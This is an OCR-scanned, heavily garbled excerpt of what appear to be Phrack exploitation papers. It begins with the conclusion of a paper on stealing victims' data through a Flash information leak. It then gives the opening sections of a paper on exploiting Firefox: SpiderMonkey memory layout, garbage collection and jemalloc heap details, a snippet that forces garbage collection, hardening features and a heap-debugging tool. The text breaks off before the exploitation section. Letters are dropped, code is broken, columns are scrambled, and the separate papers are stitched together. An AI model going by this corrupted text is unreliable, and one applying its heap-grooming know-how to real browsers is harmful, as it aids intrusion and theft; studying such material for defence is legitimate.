dd c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f| 
==>-SNi pyres 
--[ 4 - Conclusion 


The author hopes to have presented an interesting technique of exfiltrating 
data from a victim’s computer. The only requirement was an arbitrary read 
primitive achieved by exploiting a standard relative information leak 
vulnerability. The presented methodology is generic and may be used to 
exploit similar Adobe Flash vulnerabilities. Additionally, similar 
techniques may be applicable to other client side technologies. 
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Vulnerabilities, uninteresting at first sight, just like this one, may turn 
out to be promising and effective. Once a victim’s passwords have been 
stolen (e.g. e-mail credentials), accessing the target’s computer or mobile 
devices may also be possible in post-exploitation scenarios. 


As we are moving towards the era of data-only attacks, both in user-land 
and kernel-land, such attacks may become more and more interesting from a 
security researchers perspective. We look forward to bypassing any crappy 
mitigation that will be implemented in future Adobe Flash versions. 
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--{ 1 - Introduction 


In this paper I will elaborate and expand on my Infiltrate 2015 talk of 
the same title [INF]. Even a full hour-long conference talk is hardly 
enough to present all the necessary background details or the full 
technical depth of an exploitation subject. Therefore, I was quite happy 
when the Phrack Staff approached me for writing a paper based on my 
conference talk. 


My goal for this paper is to define a reusabl xploitation methodology 
against the latest versions of the Mozilla Firefox browser in the context 
of the modern protections provided by most operating systems. The term 
‘exploitation’ here refers to leveraging memory corruption 
vulnerabilities (of different types, i.e, buffer overflows, use-after- 
frees, type confusions). By ’reusable methodology’ I mean an attack 
pattern that can be applied towards the exploitation of most 
vulnerabilities and vulnerability classes. Although the material in this 
paper are from the Windows version of Firefox, to the best of my 
knowledge the included techniques can be used on all platforms supported 
by Firefox. 


Specifically, for all techniques and included code excerpts I have used 
the latest version of Firefox (41.0.1 at the time of writing) on Windows 
8.1 x86-64. Please note that Firefox stable on Windows (even on a x86-64 
system) is x86. 


--[ 2 - Firefox and SpiderMonkey internals 


I will start by explaining some Firefox and SpiderMonkey internals that 
are required for the exploitation methodology. SpiderMonkey (Firefox’s 
JavaScript engine) uses C++ variables of type JS::Value (or simply jsval) 
to represent strings, numbers (both integers and doubles), objects ( 
including arrays and functions), booleans, and the special values null 
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nd undefined [JSV]. When in JavaScript (JS) a string for example is 
ssigned to a variable or an object’s attribute, the runtime must be able 
o query its type. Therefore, jsvals must follow a representation that 
ncodes both values and types. SpiderMonkey uses the 64-bit IEEE-754 
ncoding [IFP] for this purpose. Specifically, jsval doubles use the full 
4 bits for their value. All other jsvals (integers, strings, etc) are 
ncoded with 32 bits for a tag specifying their type and 32 bits for 

heir value. In Firefox’s source code we can find the constants for the 
jsval types at js/public/Value.h: 


TOAD A tw W 


define JSVAL_TYPE_DOUBLE ((uint8_t) 0x00) 
define JSVAL_TYPE_INT32 ((uint8_t) 0x01) 
#define JSVAL_TYPE_ UNDEFINED ((uint8_t) 0x02) 
define JSVAL_TYPE BOOLEAN ((uint8_t) 0x03) 
define JSVAL_TYPE_MAGIC ((uint8_t) 0x04) 
define JSVAL_TYPE_STRING ((uint8_t) 0x05) 
define JSVAL_TYPE SYMBOL ((uint8_t) 0x06) 
define JSVAL_TYPE_ NULL ((uint8_t) 0x07) 
define JSVAL_TYPE_ OBJECT ((uint8_t) 0x08) 
These constants are then used to get the 32-bit jsval tags for the 


different types: 


define JSVAL_TAG_CLEAR ((uint32_t) (OxFFFFFF80) ) 
define JSVAL_TAG_INT32 ((uint32_t) (JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32) ) 
define JSVAL_TAG_UNDEFINED ((uint32_t) (JSVAL_TAG_CLEAR | \ 


JSVAL_TYPE_UNDEFINED) ) 
define JSVAL_TAG_STRING ((uint32_t) (JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING) ) 
define JSVAL_TAG_SYMBOL ((uint32_t) (JSVAL_TAG_CLEAR | JSVAL_TYPE_SYMBOL) ) 
define JSVAL_TAG_BOOLEAN ((uint32_t) (JSVAL_TAG_CLEAR | \ 


JSVAL_TYPE_BOOLEAN) 
define JSVAL_TAG_MAGIC ((uint32_t) (JSVAL_TAG_CLE 
define JSVAL_TAG_NULL ((uint32_t) (JSVAL_TAG_CLEA 
define JSVAL_TAG_OBJECT ((uint32_t) (JSVAL_TAG_CL 


R | JSVAL_TYPE_MAGIC) ) 
| JSVAL_TYPE_NULL) ) 
AR | JSVAL_TYPE_OBJECT) ) 


HD P~— 


When the SpiderMonkey runtime queries a jsval for its type, if its 32-bit 
tag value is greater than OxFFFFFF80 (the JSVAL_TAG_CLEAR define from 
above) then the 64 bits are interpreted as a jsval of the corresponding 
type. If the tag value is less or equal to OxFFFFFF80 then the 64 bits 
are interpreted as an IEEE-754 double. An important note at this point 
that I will refer to later on is that there is no IEEE-754 64-bit double 
that corresponds to a 32-bit encoded value greater than OxFFFOOOOO. 


Apart from jsvals, SpiderMonkey also uses complex objects of type JSObject 
[JSO] to represent various JavaScript objects (jsobjects). In essence 

these are mappings from names (object properties) to values. To avoid 

expensive dictionary lookups from these properties to their corresponding 
values (which are stored in an array of the jsobject) SpiderMonkey uses 
W 
d 


hat is called a shape. Shapes are structural descriptions that point 
irectly from property names to the array indexes that hold their values. 


The JSObject class uses the NativeObject class for its internal 
implementation (to be precise the NativeObject class inherits from the 
JSObject class). These complex objects also contain an inline dynamically- 
sized (but up to a limit) array that is used to store named properties, 
and elements of JavaScript arrays and typed arrays. The first (named 
properties) are indexed by the slots_ pointer, and the latter (array 
elements) by the elements_ pointer. The actual storage can be either the 
inline jsobject storage or a dynamically allocated region on the heap. 


Moreover, jsobject arrays have a header; this header is described by the 
ObjectElements class. The definition of the JSObject class can be found at 
js/src/jsobj.h, and those of NativeObject and ObjectElements at 
js/src/vm/NativeObject.h. Below I will discuss all of them together 

(think of it as pseudocode) and only their relevant to the paper fields: 


class NativeObject : public JSObject 
{ 
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/* 


* From JSObject; structural description to avoid dictionary 
* lookups from property names to slots_ array indexes. 
Ay 


js::HeapPtrShape shape_; 


/* 
* From JSObject; the jsobject’s type (unrelated to the jsval 
* type I described above). 

*/ 


js::HeapPtrTypeObject type_; 


/* 
* From NativeObject; pointer to the jsobject’s properties’ 
* storage. 

*/ 
js::HeapSlot *slots_; 


* From NativeObject; pointer to the jsobject’s elements’ storage. 
* This is used by JavaScript arrays and typed arrays. The 

* elements of JavaScript arrays are jsvals as I described them 

* above. 

mY 


js::HeapSlot *elements_; 


/* 
* From ObjectElements; how are data written to elements_ and 
* other metadata. 

Ky 
uint32_t flags; 


/* 
* From ObjectElements; number of initialized elements, less or 
* equal to the capacity (see below) for non-array jsobjects, and 
* less or equal to the length (see below) for array jsobjects. 
mf 
uint32_t initializedLength,; 


/* 
* From ObjectElements; number of allocated slots (for object 
* properties). 

* / 
uint32_t capacity; 


/* 
* From ObjectElements; the length of array jsobjects. 
eA 

uint32_t length; 


}; 


In the following sections of this paper I am going to refer back to this 
as 'jsobject’ (or the ’jsobject class’), which although isn’t technically 
correct (as I have explained above) will make the discussion simpler. 


—----[ 2.1 - Representation in memory 


In order to get a better insight, let’s look at the representation of 
jsvals and jsobjects in memory. We have the following JavaScript code: 


var arr = new Array(); // an array jsobject (ArrayObject) 
arr[O] = 0x40414140; // [A] an integer 

arr[1l] = "Hello, Firefox!"; // (B] a string 

arr[2] = 0x42434342; 

arr[3] = true; // [C] a boolean 

arr[4] = 0x44454544; 

arr[5] = new Array (666); // [D] an object 
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// add some 


ale 
ase 
are 
ale 
are 


arr 
arr 
are 


// 


acre 


// 


// total size: 


{ 


} 


ae 
ale 
alr 


// 


ace 


for(var j = 0; j < 128; 3 += 2) 
arr[9][j] = 0x61636361; 
arr[9][j + 1] = 0x71737371; 

[10] = 0x50515150; 

[11] = 1.41424344; // (FJ 
[12] = 0x%52535352; 

[G] and a bigger string 

[13] = "Hello, Firefox, 


0] 


[ 
[1 
[2 
[3 
[4 


] 
] 
] 
] 


Gr 
ach 
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= 666; 


= "sixsixsix"; 


0.666; 
false; 


= new Array (666); 


null; 


= 0x46474746; 


= 0x48494948; 


elements to the array 


new Uint32Array (128); 


B= 512 


and hello again"; 


let’s fill the typed array with some content 
128 * 4 


a double 


In WinDbg we search for our first integer marker value, 


and then w 


inspect th 


lements of the array w 


have d 


a typed array jsobject holding unsigned 32-bit integers 


that is 40414140, 


fined: 


0:000> s -d 0 0x0 1?0xffffffff 40414140 


09e10980 
09e10a00 


Follow: 


40414140 ffffff81 Of352880 fLffff85 
40414140 ffffff81 Of352880 fLffffs85 


0:000> dd 09e10980-20 1748 


The reason of finding our marker value twice will 


[ Our arr ArrayObject ] 
shape_ type_ slots 
09e10960 Oeed89a0 OF3709b8 00000000 
[ Metadata of the old elements, 
the default length of ArrayObjects 
flags initlen capacity 
09e10970 00000000 00000006 O0000006 
[ Old elements’ address ] 
09e10980 40414140 ffffff81 O0f352880 
09e10990 42434342 ffffff381 00000001 
09e109a0 44454544 ffffFFL81 09e109b0 
09e109b0 Oeed89a0 OF3709eE8 00000000 
09e109c0 00000000 00000000 00000000 
09e109d0 Oeed89a0 OFf370a30 00000000 
09e109e0 00000000 00000000 00000000 
[ Metadata of relocated elements, 


the length of our new ArrayObject is Oxe, 


09e109f0 


[ New elements’ 


flags 


initlen 


capacity 


elements 
09e10a00 


is 6 ] 
length 
00000006 


f£ffffFs5 
f£ffLELes 
f£ffffss 
0c94e010 
0000029a 
00177010 
0000029a 


length 


00000000 0000000e 0000000e 0000000e 


address ] 


@AA@..... (CDretGees 
@AA@..... (CBee 
become clear below. 


let’s do a memory dump from a few dwords before the found value; I am 
going to annotate the dump from WinDbg to make the discussion easier to 


or 14 in decimal ] 


Now 
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int32 jsval [A string jsval [B] 
09e10a00 40414140 ffffff81 Of352880 FLFLLL85 
bool jsval [C 
09e10a1l0 42434342 ffffff81 OO0000001 FFFLLL83 


ArrayObject) [D] 


object jsval 
ff £88 


09e10a20 44454544 f£fFELL81 O9el09b0 


Mm a 


Fh Ft 
1 


09e10a30 46474746 f£f£EELL81 OOOO0000O FELLLL87 


typed array) [E] 


object jsval 


MP a 


Fh Ft 
1 


09e10a40 48494948 ffffff81 12634520 F£fss8 
double jsval [F] 

09e10a50 50515150 ffffff81 bab6leeO 3ff6a0bd 
string jsval [G] 

09e10a60 52535352 ffFfff81 Oeef9730 FFLLLL85 


At the start of the memory dump (at 09e10960) we can see the metadata of 
our arr ArrayObject; the shape_, type_, slots and elements pointers. The 
slots pointer is NULL since our jsobject has no named properties. The 
elements pointer points to the jsval contents of the array at 09e10a00. 
These are actually the relocated contents of the array. At address 
09e10970 we can see the original metadata of the elements (the default 
length of an array when not specified is always 6), and at 09e10980 the 
original contents. The elements (along with their metadata) were 
relocated while we were adding contents to the arr array. 


The elements pointer after the relocation points to 09e10a00 where the 


jsval contents begin. Four dwords before that, at 09e109f0, we have their 
metadata; flags, initializedLength (or initlen), capacity, and length. As 


expected, initlen, capacity, and length are all Oxe. 


At 09e10a00 there is our integer marker value 40414140 and at 09e10a04 its 


32-bit tag of ffffff81 denoting as an integer jsval [A]. At 09e10a08 we 
can see the string jsval for [B]. Based on a) whether the underlying 
platform is x86 or x86-64, b) the length of the jsval string, and c) 


whether it is plain ASCII or unicode, the content bytes of the string are 


either inline or not. On x86 the maximum length for an inline ASCII 
string is 7 and 3 for unicode; on x86-64 it is 15 for ASCII and 7 for 
unicode. Our [B] string has length 15 (Oxf) therefore it is inlined. 


Let’s s the contents of the address that the [B] string jsval points to: 


0:000> dd 0£352880 
flags length string’s contents 
O£f352880 0000005d QO00000F 6c6c6548 46202c6f 


O0£352890 66657269 0021786f 00737365 00000004 


0:000> db 0£352880 
0£352880 5d 00 00 00 Of 00 00 00-48 65 6c 6c 6F 2c 20 46 |]..Hello, 


F 


O0f352890 69 72 65 66 6f 78 21 00-65 73 73 00 04 00 00 00 irefox!.ess 


At 0£352880 it’s the start of the metadata of our inline [B] string; the 
flags (0x5d), the length (Oxf == 15 in decimal) and then at 0f352888 the 
ASCII contents of [B]. 


In contrast, the string jsval at 09e10a68 [G] is not inline. Again, the 
tag value of [G] is ffffff85 denoting as a string, and it’s value points 
to Oeef9730: 


0:000> dd 0eef9730 
flags length pointer to string’s contents 


Oeef9730 00000049 O000001E Obcbha840 00000000 


0:000> dd Obcba840 
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Obcbha840 6c6c6548 46202c6f 66657269 202c786f 
Obcba850 20646e€61 6c6c6568 6761206f 0066961 


0:000> db Obcba840 


Obcba840 \ 
48 65 6c 6c 6f 2c 20 46-69 72 65 66 6£ 78 2c 20 Hello, Firefox, 


Obcba850 \ 
61 6e 64 20 68 65 6c 6c-6f 20 61 67 61 69 6e 00 and hello again. 


At Oeef9730 we have the flags (0x49), length (Ox1lf == 31 in decimal), and 
at Oeef9738 a pointer to the actual bytes contents of the string (at 
Obcba840). Actually SpiderMonkey strings are a lot more interesting and 
useful, so I refer the interested reader to js/src/vm/String.h. However, 
for the purposes of this paper the above details are adequate. 


At 09e10a28 there is the [D] ArrayObject we have instantiated with a 
capacity of 666 (or 0x29a in hex); its tag is ffffff88 denoting it as an 
object, and its value is the address 09e109b0, where we can see the 
ArrayObject metadata as we have talked about them before: 


0:000> dd 09e109b0 
shape_ type_ slots elements 
09e109b0 Oeed89a0 OFf3709e8 O0000000 0c94e010 


flags initlen capacity length 
09e109cO0 00000000 00000000 00000000 0000029a 


0:000> dd 0c94e010-10 
flags initlen capacity length 
0c94e000 00000000 00000005 0000029a 0000029a 


arr[5][0] = 666; arr[5][1] = "sixsixsix"; 
0c94e010 0000029a ffFFFFf81 Oeed78a0 fFFLLFF85 


0c94e020 3b645ald 3fe54fdf 00000000 ffffff83 
0c94e030 09e109d0 ffffff88 5Sad5ad5a5a Sad5a5a5a 


The elements pointer of the [D] ArrayObject points to 0c94e010 where we 
can see the first element of this array, i.e. arr[5][0], namely the 
integer jsval 0x29a (or 666 in decimal). At 0c94e000 there are the 
metadata associated with these elements. 


Here we can clearly s the difference between the initializedLength, the 
capacity, and the length of an ArrayObject. The initializedLength and the 
capacity from the metadata at 09e109b0 are both zero, while it’s length is 
Ox29a; this is the case since at [D] we simply declared an ArrayObject 
with a length of 0x29a without actually adding any elements to it. Then 

we added fiv lements (arr[5][0] to arr[5][4]), and the new 
initializedLength became 5, while the capacity became equal to length, 
i.e. Ox29a (all these from the metadata at 0c94e000). 


Before we move on, let’s also look at SpiderMonkey typed arrays since we 
will use them in our attack methodology later on. Typed arrays are a very 
useful JavaScript feature since they allow us to situate on the heap 
arbitrary sized constructs of controlled content (to arbitrary byte 
granularity). Previous Firefox attacks, like [P20] and [REN], relied on 
the fact that SpiderMonkey used to situate the actual content (data) and 
the corresponding metadata of typed arrays contiguously in memory. 
Unfortunately this is no longer the case; the GC tenured heap and the 
jemalloc heap (both of which I will explain shortly) keep these 
separated, even when we try to force such a layout. However, typed arrays 
remain very useful. 


At [E] we instantiate a Uint32Array object, i.e. a typed array jsobject 
holding unsigned 32-bit integers, with an initial length of 128, whose 
object-type jsval we can find at address 09e10a48; its value is the 
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address 12634520. There we s the Uint32Array object, starting with its 
metadata (for example, at 12634538 its length of 0x80, or 128 in 
decimal), and at 12634548 the pointer to the actual buffer contents of 
the typed array (0dd73600). 


0:000> dd 12634520 

12634520 Oaf6c5c8 0f370e80 00000000 7475a930 
12634530 126344f0 fffffF88 00000080 FLLLELS81 
12634540 00000000 fffff£F81 Odd73600 ffffff31 
12634550 00000000 00000000 00000000 00000000 


0:000> dd 0dd73600 


0dd73600 61636361 71737371 61636361 71737371 

0dd73610 61636361 71737371 61636361 71737371 

0dd73620 61636361 71737371 61636361 71737371 

0dd73630 61636361 71737371 61636361 71737371 

0dd73640 61636361 71737371 61636361 71737371 

0dd73650 61636361 71737371 61636361 71737371 

0dd73660 61636361 71737371 61636361 71737371 

0dd73670 61636361 71737371 61636361 71737371 
As expected, the contents of the typed array at 0dd73600 are precisely 
what we assigned in our code. The buffer that holds these contents is 


allocated on the heap and its size is four times the number of uint32 
lements we assigned to the typed array (since each element is four bytes 
ong). So, for our [E] typed array, its contents buffer at 0dd73600 is 
12 bytes long (4 * 128 == 512). 


or Oo 


----[ 2.2 - Generational garbage collection (GGC) 


Since release 32.0 [F32] Firefox has a new garbage collection (GC) 
implementation enabled by default (on all its supported operating 
systems) called ’generational garbage collection’ (GGC). In GGC there are 
two separate heaps; a) the nursery on which most SpiderMonkey objects are 
allocated, and b) the tenured or major heap which is more or less the old 
(before release 32.0) normal SpiderMonkey GC heap. When the nursery 
becomes full (or some other event happens) we have the so-called minor GC 
pass. During this, all the temporary short-lived JavaScript objects on 

the nursery are collected and the memory they were occupying becomes 
again available to the nursery. On the other hand, the JavaScript objects 
on the nursery that are reachable in the heap graph (i.e. alive) are 
moved to the tenured heap (which also makes the memory they were 
occupying available to the nursery). Once an object is moved to the 
tenured heap, during a minor GC pass, it is checked for outgoing pointers 
to other objects on the nursery heap. Such objects are moved from the 
nursery to the tenured heap as well, since they are actually reachable. 
This iterative process continues until all reachable objects 

are moved from the nursery to the tenured heap, and the memory they were 
occupying is set to available for the nursery. This generational (also 
called ‘’moving’) garbage collection approach has resulted in impressive 
performance gains for SpiderMonkey since most JavaScript allocations are 
indeed short-lived. 


To make it clear how all the above fit in the context of the Firefox 
browser, I should talk about JSRuntime [JSR]. An instantiated JSRuntime 
object (see js/src/vm/Runtime.cpp for the class) holds all JavaScript 
variables, objects, scripts, etc. SpiderMonkey as compiled for Firefox is 
single-threaded by default, therefore Firefox usually has just one 
JSRuntime. However, (web) workers can be launched/created and each one of 
them has its own JSRuntime. Each different JSRuntime has one separate GGC 
heap (nursery and tenured), and they don’t share heap memory. Furthermore 
they are isolated from each other; one JSRuntime cannot access objects 
allocated by a different JSRuntime. 


The nursery has a hardcoded size of 16 megabytes allocated with 

VirtualAlloc() (or with mmap() on Linux). It operates as a standard bump 
allocator; a pointer is maintained that points to the first unallocated 
byte in the nursery memory area. To make an allocation of X bytes, first 
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there is a check if there are X bytes available in the nursery. If there 
are, X is added to the pointer (the "bump") and its previous value is 
returned to service the allocation request. If there aren’t X bytes 
available, a minor GC is triggered. During this GC pass the new object is 
moved to the tenured heap, and if its slots or elements (see section 2.1) 
are above a certain number they are moved to the jemalloc-managed heap. 


The tenured heap (you may also s it referred to as /major’ or simply 
‘GC’ heap in Firefox’s code base) has its own metadata and algorithms to 
manage memory. These are distinct from both the nursery and the jemalloc 
heaps. Apart from being the heap for JavaScript objects that survived a 
nursery GC pass, some allocations go directly on it bypassing the 


nursery. Examples of such cases are known long-lived objects (e.g. global 
objects), function objects (due to JIT requirements), and objects with 
finalizers (i.e. most DOM objects). I will not go into more details for 


the tenured heap since they are not relevant to the exploitation 
methodology. 


----[ 2.3 - jemalloc (and GGC) 


In this section I will only discuss the necessary jemalloc knowledge you 

require in order to follow the analysis in section 5. For a more detailed 
treatise I refer you to another Phrack paper which is still applicable to 
the current state of jemalloc [PSJ]. 


jemalloc is a bitmap allocator designed for performance and not primarily 
memory utilization. One of its major design goals is to situate allocations 
contiguously in memory. The latest version of jemalloc is 4.0.0 at this 
time, but Firefox includes a version forked from major release 2. Firefox’s 
fork is called mozjemalloc in the source tree, but it doesn’t include any 
Significant changes from jemalloc 2. It is used in Firefox for allocations 
that become too big (based on some limits I will discuss shortly) for the 
tenured heap. However, there are som xceptions; certain allocations 
triggerable from JavaScript can bypass both the nursery and the tenured 
heap and go directly to the jemalloc-managed heap. I will not discuss this 
further, so you can consider it an exercise ;) 


In jemalloc memory is divided into regions which are categorized according 
to their size. Specifically, the size categories, called /’bins’, in Firefox 
are 2, 4, 8, 16, 32, 48, ..., 512, 1024, up to inclusive 2048. malloc() 
requests larger than 2048 bytes are handled differently and are not in 
scope for this paper. Each bin (or size category) is associated with 
several ’runs’; these are the actual containers for the regions. A run can 
span one or more virtual memory pages which are divided into regions of the 
bin size that the run belongs to. Bins have the metadata for their runs and 
through them free regions are located. The following diagram is a 
Simplified version of the original one from [PSJ] and summarizes the above 
notes. 


Run #0 Run #1 Run #0 Run #1 
Page Page Page Page 

| | | | | | | | 

| Regions | | Regions | | Regions | | Regions | 

If] [1] [1 | [tal eee ods | If] [1] (1 | If] [1] (1 | 

| * ol | | ;ee oF hel | | 


| free regions’ list | ... | free regions’ list | 
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bin of size category 8 bin of size category 16 


Allocation requests (i.e. malloc() calls) are rounded up and assigned to a 
bin. Then, through the bin’s free regions’ metadata, a run with a free 
region is located. If none is found, a new run is allocated and assigned 
to the specific bin. Therefore, this means that objects of different types 
but with similar sizes that are rounded up to the same bin are contiguous 
in the jemalloc heap. Another interesting feature of jemalloc is that it 
operates in a last-in-first-out (LIFO) manner (see [PSJ] for the free 
algorithm); a free followed by a garbage collection and a subsequent 
allocation request for the same size, most likely ends up in the freed 
region. 


At this point let’s utilize an example to s how the jemalloc heap is 
used in Firefox along with the GGC heaps, namely nursery and tenured. In 
the diagram below the nursery heap is nearly full and we have an 
allocation request for a JSObject with an N number of slots. 


T| Temporary J slots Survivor Free : jemalloc 
object N JSOb ject memory 
+ Slots 
bee tS Satan Saree E aca hed 6 Sree ia a hes oat 6 Taree ane anes cee ee Caras glee ESS Loan g tative, eg slots 
N 
Before minor GC : 
JSOb ject : By tS 
allocation : | 
request : 
Nursery doesn’t have J slots 
free memory for Pen SSeS aah + N t 
JSObject + its slots | 
| 
| 
VV 
ak T T T a T T J J||Jd 
Nursery + Tenured 
First unallocated nursery byte After minor GC 
+----- + 
| 
V V 
J||J||d/4 
slots_ pointer 
Nursery Tenured 


The JSObject itself can fit (or not, doesn’t affect the rest of the 
events) in the free space of the nursery, but its slots cannot. So, the 
JSObject is placed on the nursery and since it becomes full, a minor GC is 
triggered. If it couldn’t fit in the nursery a minor GC would also be 
triggered. During this GC and assuming that the JSObject is a survivor 
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object, i.e. not a temporary one, it is moved from the nursery to the 
tenured heap (or placed directly there if it couldn’t fit in the nursery 
in the first place). If the number of its slots N is greater than a 
certain number (more on this later), they are not placed on the tenured 
heap with the object itself. Instead, a new allocation for the size of the 
N slots is made on the jemalloc heap, and the slots are placed there. Then 
the slots_ pointer of the jsobject stores the address of the jemalloc heap 
region that contains the slots. 


--[ 3 - Firefox’s hardening features 


Firefox has some security hardening features that are useful to know if you 
are doing or plan to do any exploit development for it. I will try to list 
them all here to give you the references to start digging from, but I will 
only expand on those that affect our goal for this paper. 


----[ 3.1 - PresArena 


PresArena is Gecko’s specialized heap for CSS box objects (Gecko is 
Firefox’s layout engine). When a CSS box object is freed, the fr 

PresArena heap ’slot’ is added to a free list based on its type. This means 
that PresArena maintains separate fr heap ‘slot’ lists for each different 
CSS box object type. An allocation request is serviced from the free list 
of the type of objects it is trying to allocate. This basically means that 
for CSS box objects PresArena implements type-safe memory reuse, mostly 
killing use-after-fr xploitation. I say ’mostly’ because in some cases a 
use-after-free bug can still be exploitable via same-object-type trickery, 
like playing with attributes’ values for example. 


PresArena also services types of objects that related to CSS box objects 
but are not. The free lists of these objects are per size and not per type. 
This of course means that use-after-free bugs for these object types are 
exploitable as usual. 


[The code for PresArena is at layout/base/nsPresArena.{h, cpp}. 
----[ 3.2 - jemalloc heap sanitization 


Since jemalloc rounds up allocation requests to the closest size category 
(bin), it is possible that a small object may be assigned to the same 
region that a bigger object was occupying before being freed (both objects 
smaller or equal to the size category of course). Therefore, in such a case 
we could use the small object to read back memory left by the bigger 
object. This could reveal DLL pointers and could help in bypassing ASLR. To 
avoid this jemalloc sanitizes regions after they are freed. Current Firefox 
versions use the valu 5e5e5e5 to sanitize; older versions used a5a5a5a5. 
This hardening feature also makes some uninitialized memory bugs 
unexploitable. In any case, if you’re fuzzing Firefox these are nice values 
to look for in crash logs. 


----[ 3.3 - Garbage collection 


Being able to trigger a garbage collection on demand is fundamental when 
trying to create specific object layouts on the heap. Firefox provides no 
unprivileged JavaScript API to do this. Although not having an on-demand 
GC API call is not listed as a hardening feature, it is clear that Firefox 
developers actively try to remove direct execution paths from unprivileged 
JavaScript functions to GC. A GC can be triggered for a variety of reasons; 
Firefox has these divided into two major categories, those related to the 
JavaScript engine and those that aren’t. The second category includes 
reasons related to the layout engine (for example frame refreshing), as 
well as ones more general to the browser (for example when the main process 
exits). You can find the names of all the reasons at js/public/GCAPI.h. 
These are the start for finding ways to trigger a GC on demand from 
unprivileged JavaScript code. 


A simple one to get you started is TOO_MUCH_MALLOC. If you search for this 
in Firefox’s code and backtrace it with your favorite code reading tool, 
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you will conclude to the following execution path: 


dom: :CanvasRenderingContext2D: :EnsureTarget () 


+--> JS_updateMallocCounter () 


+--> GCRuntime: :updateMallocCounter () 


+--> GCRuntime: :onTooMuchMalloc () 


+--> triggerGC (JS::gcreason: : TOO_MUCH_MALLOC) 


After reading dom::CanvasRenderingContext2D::EnsureTarget(), which is in 
the file dom/canvas/CanvasRenderingContext2D.cpp, we can easily figure out 
how to reach it: 


var my_canvas = document.createElement ("Canvas"); 
my_canvas.id = "my_canvas"; 

my_canvas.width = "100"; 

my_canvas.height = "115"; 


document .body.appendChild(my_canvas) ; 


for(var i = 0; i < 10; itt) 

{ 
var my_context = my_canvas.getContext ("2d"); 
my_canvas.width = 36666; 
my_context.fillRect (21, 11, 66, 60); 

} 


You can find many others; some more reliable, some less, just read the 
code. Another simple one is to repeatedly create strings and append them to 
a DOM node; see the archive for this example. Just keep in mind that you 
may have to tweak some parameters, like the number of repetitions, the size 
of strings, etc, in order to get it to work on as many as possible 
different systems with different characteristics (available RAM, Firefox 
versions). 


-—---[ 3.4 - Sandbox 


I will only be discussing Firefox’s sandbox on Windows; the Linux and OS X 
implementations are based on different technologies, seccomp and Seatbelt, 
but aim to achieve similar goals. All the code is available at 
security/sandbox/{win, linux, mac}. 


On Windows, Firefox is using the code of the Chromium sandbox. In short, 
there is a parent process (broker) that is responsible for starting 
sandboxed children processes (targets). The communication between the two 
is implemented via a Firefox-specific C++ IPC called IPDL (Inter-process 
communication Protocol Definition Language). There are thr different 
sandbox policies for children processes implemented, a) for layout content, 
b) for media playback, and c) for other plugins. These are implemented by 
the following functions, a) SetSecurityLevelForContentProcess(), 

b) SetSecurityLevelForGMPlugin(), and c) SetSecurityLevelForPluginProcess () 
respectively. You can find their implementations at 
security/sandbox/win/src/sandboxbroker/sandboxBroker.cpp. 


Flash in Firefox is an out-of-process plugin. This means that Firefox 
launches an executable called plugin-container.exe which then loads the 
Flash plugin, sandboxed by Flash’s own "protected mode". On Windows this 
means that it is a low integrity process, has restricted access token 
capabilities, is not allowed to launch new processes, etc. Firefox plans to 
stop enabling Flash’s protected mode and place Flash under the above 
Chromium-based sandbox as well, but this is not the case currently 
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--[ 4 - The shadow (over Firefox) utility 


I initially re-designed unmask_jemalloc [UNJ] (a GDB/Python tool we have 
written with huku) with a modular design to support all three main 
debuggers and platforms (WinDBG, GDB and LLDB). I renamed the tool to 
shadow when I added Firefox/Windows/WinDBG-only features. 


The following is an overview of the new design (read the arrows as 
"imports"). The goal is to have all debugger-dependent code in the *_driver 
and *_engine modules. 


debugger-required 
frontend (glue) 


gdb_driver lldb_driver pykd_driver 


A A A 


titi 4 7 core logic 
(debugger-agnostic) 


> shadow <-----4 t 
util Sa > 
| 
| + + symbol 
| 
+--+ 
jemalloc nursery 
debugger 
dependent APIs 
Vv Vv 
+-—>| gdb_engin lldb_engin pykd_engine 
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debugger-provided backend 


lldb 


pykd 


shadow can he 


structures) o 
use-after-fre 
objects to ov 


0:000> 


hadow 
hadow 


nn 


hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 
hadow 


ANNAN NNANHAANAANAANAANANAAAANAANAANAANAANAAHAANAANAANAANAANAANnAANAANAANAANAANAANRAANAANAANANAANAANUNANANANANHAN NA 


You can find 
instructions, 
GitHub [SHD]. 


lp you during Fire 


£f specific sizes. 
e bugs, 
erwrite/corrupt. A 


De Mysteriis Dom Firefox 
vl.0b 


jemalloc-specific comman 
jechunks 
jearenas 
jerun <address> 
jeruns [-cs] 


=Siecs 


jebins 
jeregions <size class> 


jesearch [-cfqs] <hex> 

=S..55 
jeinfo <address> 
jedump [filename] 
jeparse 


ds: 


ize 


ize 


Firefox-specific commands: 


nursery 
symbol [-vjdx] <size> 
pa <address> [<length> 


Generic commands: 
version 
help 


the 


] 


latest version of shadow, 


fox exploit development when you’re trying 
to understand the impact of your JavaScript code on the heap. 
command allows you to search for SpiderMonkey and DOM classes 
This is useful when you’re trying to expl 
or when you want to position interesting victim 

11 the supported commands are: 


The symbol 
(and 


loit 


!py c:\\tmp\\shadow\\pykd_driver help 


info 
info 


on 
on 


dump 
dump 
dump 
dump 


all available chunks 
jemalloc arenas 

info on a single run 

info on jemalloc runs 
-c: current runs only 

class>: runs for the given size 

class only 

dump info on jemalloc bins 
dump all current regions of the 
given size class 
the heap for the given hex 
dword 


search 


-c: current runs only 
-q: quick search (less 
details) 
class>: regions of the given size 
only 
-f: search for filled region 
holes) 
display all available details for 
an address 
dump all available jemalloc info 
to screen (default) or file 


parse jemalloc structures from 
memory 
display info on the SpiderMonkey 
GC nursery 
display all Firefox symbols of the 
given size 
-v: only class symbols with 
vtable 
—j: only symbols from 
SpiderMonkey 
-d: only DOM symbols 
-x: only non-SpiderMonkey 
symbols 
modify the ArrayObject’s length 
(default new length 0x666) 


output version number 
this help message 


along with installation 


in the code archive that comes with this paper and also on 


Just a note; 


I only had tim 


to test 


verything on Windows 
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and WinDBG. Linux/GDB support is almost complete (though no support for the 
symbol command). I haven’t done any work for supporting OS X/LLDB yet. All 
contributions are of course welcome ;) 


--[ 5 - Exploitation 


